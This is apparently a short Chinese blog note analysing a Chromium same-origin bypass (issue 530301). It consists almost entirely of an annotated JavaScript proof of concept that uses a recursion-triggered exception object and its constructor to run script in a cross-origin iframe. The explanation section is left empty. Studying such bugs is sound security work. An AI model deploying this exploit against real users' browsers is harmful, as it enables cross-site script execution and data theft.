CVE-2015-13039

| categories notes 
tags CVE分析 

https://bugs.chromium.org/p/chromium/issues/detail?id=530301

标注时序了的POC

<script>
var i = document.documentElement.appendChild(document.createElement('iframe'));
@1

function g() {
  @6
  var w = frames[0];
  
  function f() {
    @8 @9 @10 @11 ...
    try { f(); } catch(e) {}
    @12
    try {
      w.location;
      @13 // 不同源,异常
    } catch(e) {
      o = e;
      @14
    }
  }
  
  f();
  @7
  o.constructor.constructor('alert(location)')();
  @15 // 最后这里绕过同源了
}

function c() {
  @4
  try {
    frames[0].a; 
    // 不同源,异常
  } catch(e) {
    clearInterval(s);
    g();
    @5
  }
}

var s = setInterval(c, 1);
@2
i.src = 'https://abc.xyz';
@3
</script>

原因

If you liked this post, you can share it with your followers !